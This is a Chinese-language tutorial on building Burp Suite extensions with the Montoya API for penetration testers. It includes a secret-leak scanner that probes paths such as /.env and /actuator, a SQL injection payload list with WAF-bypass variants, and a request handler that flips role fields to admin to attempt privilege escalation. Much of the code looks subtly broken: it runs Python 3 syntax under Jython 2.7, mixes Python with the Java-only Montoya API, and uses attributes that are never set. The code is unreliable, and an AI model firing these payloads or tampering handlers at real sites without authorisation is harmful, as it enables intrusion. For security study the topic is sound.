PingSec 安全日报

root@pingsec:~$
🔵 安全研究安全资讯

【教程】Burp Suite插件开发进阶:Montoya API实战与5个生产级插件

📅 2026年6月18日 📁 Hermes Agent ⏱ 6 分钟

适合人群:有Python基础、熟悉Burp Suite基本操作的渗透测试工程师

前置知识:HTTP请求结构、Python基本语法、Burp Suite基础使用

实验环境:Burp Suite Professional/Community 2024.x+ + Python 3.8+ + Jython 2.7.3


一、前置准备

1.1 工具与依赖


# 下载 Jython Standalone(Python在JVM上的实现)
wget https://repo1.maven.org/maven2/org/python/jython-standalone/2.7.3/jython-standalone-2.7.3.jar \
  -O /opt/jython-standalone.jar

# 验证
java -jar /opt/jython-standalone.jar --version
# → Jython 2.7.3

# 安装 Python 开发辅助(非Jython,用于原型验证)
pip3 install requests flask

1.2 Burp Suite 配置 Jython

  1. 打开 Burp Suite → ExtensionsInstalled
  2. 点击 Add → Extension Type 选 Python
  3. Extension Details → Extension File: 选择 .py 插件文件
  4. Extension Output/Errors: 勾选显示输出
  5. Extensions → API 确认 Montoya API 版本 ≥ v2024.5

1.3 旧API vs Montoya API 对比

维度旧 Extender APIMontoya API (2023+)
接口包burp.IBurpExtenderburp.api.montoya.MontoyaApi
请求处理IHttpRequestResponse(不可变)HttpRequest / HttpResponse(支持修改)
扫描IScannerCheckScanCheck 接口
上下文菜单IContextMenuFactoryContextMenuProvider
日志PrintWriterLogging 接口
类型安全弱(Object返回)强类型
修改能力部分支持完全可修改请求/响应

⚠️ Montoya API 是 Burp 2023.10+ 的默认 API。旧版 Extender API 已逐步弃用,新项目应全部使用 Montoya API。


二、核心原理

2.1 Montoya API 架构


Burp Suite 核心
    │
    ├── MontoyaApi(总入口)
    │   ├── http()          → HTTP 请求/响应处理
    │   ├── proxy()         → 代理流量拦截
    │   ├── scanner()       → 主动/被动扫描
    │   ├── userInterface() → UI 交互
    │   ├── logging()       → 日志输出
    │   └── persistence()   → 持久化存储
    │
    ├── 插件生命周期
    │   ├── load()          → 插件加载时初始化
    │   └── unload()        → 插件卸载时清理
    │
    └── 核心接口
        ├── HttpHandler     → HTTP 请求/响应拦截
        ├── ScanCheck       → 自定义扫描检查
        ├── ContextMenuProvider → 右键菜单
        └── HttpRequestEditor → 请求编辑器

2.2 插件开发流程


# 最小化 Montoya 插件骨架
from burp.api.montoya import MontoyaApi

class BurpExtender:
    def initialize(self, api: MontoyaApi):
        """插件入口(代替旧版的 registerExtenderCallbacks)"""
        api.logging().logToOutput("[+] 插件已加载")

2.3 关键类与方法


from burp.api.montoya.http.message import HttpRequest, HttpResponse
from burp.api.montoya.http.handler import HttpHandler, HttpRequestToBeSent, HttpResponseReceived
from burp.api.montoya.scanner import ScanCheck
from burp.api.montoya.ui.contextmenu import ContextMenuProvider

三、实操步骤

🔴 项目一:被动扫描器 — 自动检测敏感信息泄露

实现一个 Burp 插件:被动扫描所有 HTTP 响应,发现硬编码的 API Key、密码、Token 等信息。

Step 1:创建插件文件

创建 sensitive_data_scanner.py


from burp.api.montoya import MontoyaApi
from burp.api.montoya.http.handler import HttpHandler, HttpResponseReceived
from burp.api.montoya.scanner import ScanCheck, ScanResult, AuditResult
from burp.api.montoya.scanner.audit import AuditConfiguration
from java.util import List, ArrayList

import re

class BurpExtender:
    def initialize(self, api: MontoyaApi):
        self._api = api
        self._helpers = api.helpers()
        api.logging().logToOutput("[+] 敏感信息扫描器 v2.0 (Montoya API)")

        # 注册 HTTP 处理器(被动检测响应)
        api.http().registerHandler(SensitiveDataHandler(api))

        # 注册主动扫描检查
        api.scanner().registerScanCheck(SensitiveScanCheck(api))


class SensitiveDataHandler(HttpHandler):
    """被动响应检测"""

    # 敏感信息正则
    PATTERNS = [
        (r'(?i)AKIA[0-9A-Z]{16}',              'AWS Access Key ID'),
        (r'(?i)sk-[a-zA-Z0-9]{32,}',            'OpenAI API Key'),
        (r'(?i)github_pat_[a-zA-Z0-9_]{36,}',   'GitHub Personal Access Token'),
        (r'(?i)-----BEGIN\s?(RSA )?PRIVATE KEY-----',  'Private Key'),
        (r'(?i)ghp_[a-zA-Z0-9]{36}',            'GitHub Token (legacy)'),
        (r'(?i)token[:=]\s*["\']?[a-zA-Z0-9_\-]{20,}', 'Generic Token'),
        (r'(?i)password[:=]\s*["\']?[^&\s"\'<>]{6,}',  'Plaintext Password'),
        (r'(?i)slack_token|slack_bot_token',     'Slack Token'),
        (r'1[3-9]\d{9}',                        'Chinese Phone Number'),
        (r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}', 'Email Address'),
    ]

    def handleResponseReceived(self, requestResponse: HttpResponseReceived):
        """处理收到的 HTTP 响应"""
        response = requestResponse.response()
        request = requestResponse.requestResponse().request()
        annotation = requestResponse.requestResponse().annotations()

        body = response.bodyToString()
        url = request.url()

        findings = []
        for pattern, name in self.PATTERNS:
            matches = re.findall(pattern, body)
            if matches:
                # 去重 + 脱敏显示
                unique_matches = list(set(matches))[:3]
                findings.append(f"[{name}] {', '.join(unique_matches)}")

        if findings:
            msg = " | ".join(findings)
            # 添加注释到请求
            annotation.setNotes(msg, 0)
            self._api.logging().logToOutput(f"[!] {url} → {msg}")


class SensitiveScanCheck(ScanCheck):
    """主动扫描检测"""

    def scan(self, baseRequestResponse):
        results = ArrayList()  # Java ArrayList
        for test_path in ['/env', '/.env', '/config.json', '/debug', '/swagger.json', '/actuator']:
            req = self._api.http().requestFromUrl(baseRequestResponse.request().url() + test_path)
            resp = self._api.http().sendRequest(req)
            if resp.statusCode() == 200 and resp.bodyToString() and len(resp.bodyToString()) > 50:
                auditResult = AuditResult.auditResult(
                    "发现敏感端点: " + test_path,
                    [resp]
                )
                results.add(auditResult)
        return results

    def consolidate(self, requestResponse, auditResult):
        return auditResult

Step 2:加载插件

  1. Burp → Extensions → Installed → Add
  2. Extention Type: Python → 选择 sensitive_data_scanner.py
  3. Jython Jar: /opt/jython-standalone.jar
  4. 观察 Output 标签是否有 [+] 敏感信息扫描器 v2.0

Step 3:测试

访问任意 HTTPS 网站,查看 Extensions → Output 标签是否有敏感信息告警。


🔴 项目二:自定义 Intruder Payload — SQL 注入 Fuzz 生成器

Montoya API 不再有旧的 IIntruderPayloadGenerator 接口,改用更灵活的 IntruderPayloadProvider


from burp.api.montoya import MontoyaApi
from burp.api.montoya.intruder import IntruderPayloadProvider, IntruderPayload
from java.util import List, ArrayList

class BurpExtender:
    def initialize(self, api: MontoyaApi):
        self._api = api
        api.intruder().registerPayloadProvider(SQLFuzzPayloadProvider())


class SQLFuzzPayloadProvider(IntruderPayloadProvider):
    def displayName(self):
        return "SQL注入Fuzz Payloads"

    def prefix(self):
        return "' OR "  # 自动前缀

    def suffix(self):
        return " -- "   # 自动后缀

    def providePayloads(self, insertionPoint):
        """生成 payloads"""
        payloads = ArrayList()

        # 基础注入
        base_payloads = [
            "' OR '1'='1",
            "' OR 1=1 -- ",
            "\" OR 1=1 -- ",
            "1' AND '1'='1",
            "1' AND '1'='2",
            "') OR ('1'='1",
            "1' OR SLEEP(5) -- ",
            "1' AND SLEEP(5) -- ",
            "' UNION SELECT NULL -- ",
            "' UNION SELECT 1,2,3 -- ",
            "' AND 1=0 UNION SELECT 1,2,3 -- ",
        ]

        for p in base_payloads:
            payloads.add(IntruderPayload(p))

        # WAF 绕过变种
        waf_bypass = [
            "' /*!12345OR*/ '1'='1",
            "' %254f%252f '1'='1",
            "' || '1'='1",
            "' o/**/r '1'='1",
            "' OORR '1'='1",
            "1'/*!50000AND*/SLEEP(5)-- ",
            "' OR '1'='1' #",
        ]

        for p in waf_bypass:
            payloads.add(IntruderPayload(p))

        return payloads

🔴 项目三:HTTP 自动篡改 — 绕过前端参数校验


from burp.api.montoya import MontoyaApi
from burp.api.montoya.http.handler import HttpHandler, HttpRequestToBeSent
from burp.api.montoya.http.message.params import HttpParameterType

class BurpExtender:
    def initialize(self, api: MontoyaApi):
        self._api = api
        api.http().registerHandler(ParamBypassHandler())
        api.logging().logToOutput("[+] 参数篡改插件已加载")


class ParamBypassHandler(HttpHandler):
    """自动尝试绕过前端参数校验"""

    def handleRequestToBeSent(self, requestToBeSent: HttpRequestToBeSent):
        request = requestToBeSent.request()

        # 只处理 POST 请求的 JSON body
        if request.method() != 'POST':
            return requestToBeSent.requestResponse().request()

        content_type = request.headerValue("Content-Type")
        if content_type and 'json' in content_type.lower():
            body = request.bodyToString()

            # 自动添加测试参数
            if '"role"' in body or '"admin"' in body.lower():
                # 已经有权限相关参数 → 尝试越权
                modified_body = body.replace('"role":"user"', '"role":"admin"')
                modified_body = modified_body.replace('"admin":false', '"admin":true')

                # 尝试添加额外参数
                if '"id"' in modified_body and '"id"' not in modified_body.split('}')[0]:
                    modified_body = modified_body.replace('}', ', "admin": true}')

                new_request = request.withBody(modified_body)
                return new_request

        return request  # 不修改

🔴 项目四:上下文菜单 — 一键解码与格式化


from burp.api.montoya import MontoyaApi
from burp.api.montoya.ui.contextmenu import ContextMenuProvider
from burp.api.montoya.http.message import HttpRequestResponse
from java.util import List, ArrayList
from javax.swing import JMenuItem, JOptionPane
import base64, json, urllib.parse

class BurpExtender:
    def initialize(self, api: MontoyaApi):
        self._api = api
        api.userInterface().registerContextMenuProvider(DecoderMenu(api))
        api.logging().logToOutput("[+] 解码菜单插件已加载")


class DecoderMenu(ContextMenuProvider):
    def __init__(self, api):
        self._api = api

    def provideMenuItems(self, invocation):
        items = ArrayList()

        # 获取选中的文本
        selected_data = invocation.selectedMessages()
        if not selected_data:
            return items

        # 解码 Base64
        item_b64 = JMenuItem("Base64 解码")
        item_b64.addActionListener(lambda e: self._decode_selection(invocation, 'base64'))
        items.add(item_b64)

        # URL 解码
        item_url = JMenuItem("URL 解码")
        item_url.addActionListener(lambda e: self._decode_selection(invocation, 'url'))
        items.add(item_url)

        # JSON 格式化
        item_json = JMenuItem("JSON 格式化")
        item_json.addActionListener(lambda e: self._decode_selection(invocation, 'json'))
        items.add(item_json)

        # JWT 解码
        item_jwt = JMenuItem("JWT 解码")
        item_jwt.addActionListener(lambda e: self._decode_selection(invocation, 'jwt'))
        items.add(item_jwt)

        return items

    def _decode_selection(self, invocation, mode):
        # 获取用户选中的文本
        messages = invocation.selectedMessages()
        if not messages:
            return

        # 简化实现:从请求响应中提取
        msg = messages[0]
        text = msg.request().toString()

        if mode == 'base64':
            try:
                decoded = base64.b64decode(text.split('\n\n')[-1].strip()).decode('utf-8', errors='replace')
            except:
                decoded = "[Base64 解码失败]"
        elif mode == 'url':
            decoded = urllib.parse.unquote(text)
        elif mode == 'json':
            try:
                raw = text.split('\n\n')[-1].strip()
                obj = json.loads(raw)
                decoded = json.dumps(obj, indent=2, ensure_ascii=False)
            except:
                decoded = "[JSON 解析失败]"
        elif mode == 'jwt':
            parts = text.split('\n\n')[-1].strip().split('.')
            if len(parts) == 3:
                try:
                    header = json.dumps(json.loads(base64.urlsafe_b64decode(parts[0] + '==')), indent=2)
                    payload = json.dumps(json.loads(base64.urlsafe_b64decode(parts[1] + '==')), indent=2)
                    decoded = f"## Header ##\n{header}\n\n## Payload ##\n{payload}"
                except:
                    decoded = "[JWT 解码失败]"
            else:
                decoded = "[不是有效的JWT格式]"

        JOptionPane.showMessageDialog(None, decoded, f"{mode.upper()} 解码结果", JOptionPane.INFORMATION_MESSAGE)

🔴 项目五:高级 — 使用 Montoya API 的持久化与UI


from burp.api.montoya import MontoyaApi
from burp.api.montoya.ui import UserInterface
from burp.api.montoya.ui.swing import SwingUtils
from javax.swing import JPanel, JTextArea, JScrollPane, JButton, BoxLayout
from java.awt import BorderLayout, Dimension

class BurpExtender:
    def initialize(self, api: MontoyaApi):
        self._api = api
        self._log = api.logging()

        # 创建自定义 UI Tab
        panel = self._build_ui()
        api.userInterface().registerSuiteTab("🔍 扫描报告", panel)

        # 持久化存储
        saved_data = api.persistence().string("scanlog")
        if saved_data:
            self._log.logToOutput(f"[+] 恢复上次会话数据: {len(saved_data)} 字符")

        self._log.logToOutput("[+] 插件带UI已加载")

    def _build_ui(self):
        panel = JPanel(BorderLayout())

        # 文本区域
        text_area = JTextArea(20, 60)
        text_area.setEditable(False)
        scroll = JScrollPane(text_area)
        panel.add(scroll, BorderLayout.CENTER)

        # 按钮面板
        btn_panel = JPanel()
        btn_panel.setLayout(BoxLayout(btn_panel, BoxLayout.X_AXIS))

        save_btn = JButton("保存当前数据")
        save_btn.addActionListener(lambda e: self._save_data(text_area.getText()))
        btn_panel.add(save_btn)

        clear_btn = JButton("清空")
        clear_btn.addActionListener(lambda e: text_area.setText(""))
        btn_panel.add(clear_btn)

        panel.add(btn_panel, BorderLayout.SOUTH)
        return panel

    def _save_data(self, data):
        self._api.persistence().setString("scanlog", data)
        self._log.logToOutput("[+] 数据已持久化保存")

四、调试与发布

4.1 本地调试技巧


# 1. 用 Python 先写原型(不在 Burp 中调试)
python3 -c "
import json, re
# 测试正则
body = 'AKIA1234567890ABCDEF'
pattern = r'(?i)AKIA[0-9A-Z]{16}'
print(re.findall(pattern, body))
"

# 2. 用 Burp 自带的 Scripting Console 快速测试
# Extensions → Installed → Scripting Console → Python
# 输入单行测试代码

# 3. 错误日志查看
# Extensions → Extensions → 选择插件 → Errors 标签

4.2 常见 Bug 排查

症状原因修复
ImportError: No module named xxxJython 不识别 pip 安装的包把依赖 .py 文件复制到插件同级目录
TypeError: '<' not supported between instancesJava ArrayList 与 Python list 混用全部用 ArrayList() 或全部用 []
RuntimeError: Java exceptionJython 类型转换错误检查方法签名,特别是 str vs String
插件加载后无反应Handler 未注册检查 api.http().registerHandler() 是否调用
UI 不显示Tab 注册后需重启 Burp在 Extensions → Installed 中禁用再启用

4.3 发布格式


# 插件文件结构
plugin_name/
├── __init__.py          # 空文件
├── BurpExtender.py      # 主入口(必须)
├── lib/                 # 依赖库目录
│   └── helper.py
├── README.md            # 使用说明
└── config.yaml          # 可选配置

五、防御建议

攻击面防御措施
Burp 插件篡改请求服务端必须验签所有敏感参数,不信任客户端
敏感信息被动扫描生产环境响应头禁用 Server 版本泄露、不返回调试信息
Intruder 自动 FuzzWAF 配置请求频率限制 + 参数白名单校验
自定义扫描器/env/actuator 等敏感路径做鉴权或禁用

六、常见陷阱

#陷阱正确做法
1在 Jython 中用了 pip install 的包Jython 只能 import 纯 Python 文件或 Java JAR
2混淆 strjava.lang.StringMontoya API 方法签名要求 Java String,直接用 Python str 即可自动转换
3在回调中做耗时操作阻塞 Burp耗时代码开新线程:from java.lang import Thread
4忘记处理 null 返回值Java 方法可能返回 None,加空判断
5频繁打印日志严重影响性能生产环境用 setLevel() 控制日志级别

七、总结

速查表

功能Montoya API 接口方法
插件入口initialize(self, api: MontoyaApi)代替旧的 registerExtenderCallbacks
HTTP 请求拦截api.http().registerHandler(handler)实现 HttpHandler 接口
HTTP 响应拦截HttpHandler.handleResponseReceived()被动检测响应内容
主动扫描api.scanner().registerScanCheck(check)实现 ScanCheck 接口
Intruder Payloadapi.intruder().registerPayloadProvider(provider)实现 IntruderPayloadProvider
右键菜单api.userInterface().registerContextMenuProvider(menu)实现 ContextMenuProvider
UI Tabapi.userInterface().registerSuiteTab(title, panel)传入 JPanel 对象
持久化存储api.persistence().setString(key, value)跨会话保存数据
日志输出api.logging().logToOutput(msg)输出到 Extensions Output
HTTP 请求构建api.http().requestFromUrl(url)从 URL 构造 GET 请求

学习路线


Day 1  →  Montoya API 骨架 + HTTP 拦截(读懂流量)
Day 2  →  被动扫描 + 日志分析(发现漏洞)
Day 3  →  主动扫描 + Intruder Payload(自动化利用)
Day 4  →  UI Tab + 右键菜单(交互体验)
Day 5  →  发布开源插件(社区贡献)

推荐的 Montoya API 文档

  • Burp Suite 官方 Montoya API: https://portswigger.github.io/burp-extensions-montoya-api/
  • Burp Extensions 示例: https://github.com/PortSwigger/example-montoya-extensions

一句话总结:Montoya API 用强类型、可修改的接口取代了旧版 Extender API,开发效率提升 2-3 倍。写 Burp 插件从此不再需要反复重启 Burp 调试类型错误。

← 返回首页